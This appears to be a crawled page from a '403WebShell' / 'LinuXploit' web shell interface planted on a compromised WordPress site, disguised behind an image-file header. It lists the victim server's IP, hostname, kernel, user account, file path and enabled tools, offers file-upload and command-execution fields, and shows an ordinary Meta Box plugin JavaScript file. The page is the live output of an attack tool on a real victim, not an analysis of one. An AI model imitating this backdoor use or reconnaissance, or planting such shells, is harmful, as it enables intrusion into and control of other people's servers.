????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.112.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/dchsreunion.com/wp-content/plugins/meta-box/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/dchsreunion.com/wp-content/plugins/meta-box/js/post.js
( function ( $, rwmb ) {
	'use strict';

	function addNew() {
		const $this = $( this );

		$this.rwmbModal( {
			removeElement: '#editor .interface-interface-skeleton__footer, .edit-post-fullscreen-mode-close',
			callback: function ( $modal ) {
				if ( !this.isBlockEditor ) {
					this.$objectId = $modal.find( '#post_ID' ).val();
					return;
				}

				setTimeout( () => {
					if ( $modal.find( '.edit-post-post-url .edit-post-post-url__toggle' ).length > 0 ) {
						let url = $modal.find( '.edit-post-post-url .edit-post-post-url__toggle' ).text();
						this.$objectId = url.substr( url.indexOf( "=" ) + 1 );
					}
				}, 2000 );

				setTimeout( () => {
					const $ui = $modal.find( '.interface-interface-skeleton' );
					$ui.css( {
						left: 0,
						top: 0
					} );
					$ui.find( '.interface-interface-skeleton__editor' ).css( 'overflow', 'scroll' );
				}, 500 );
			},
			closeModalCallback: function ( $modal, $input ) {
				this.$objectDisplay = !this.isBlockEditor ? $modal.find( '#title' ).val() : $modal.find( '.interface-interface-skeleton__editor h1.editor-post-title__input' ).text().trim();
			}
		} );
	}

	function init( e ) {
		const wrapper = e.target || e;
		$( wrapper ).find( '.rwmb-post-add-button' ).each( addNew );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', function ( e ) {
			init( $( e.target ).parent() );
		} );

} )( jQuery, rwmb );

Youez - 2016 - github.com/yon3zu
LinuXploit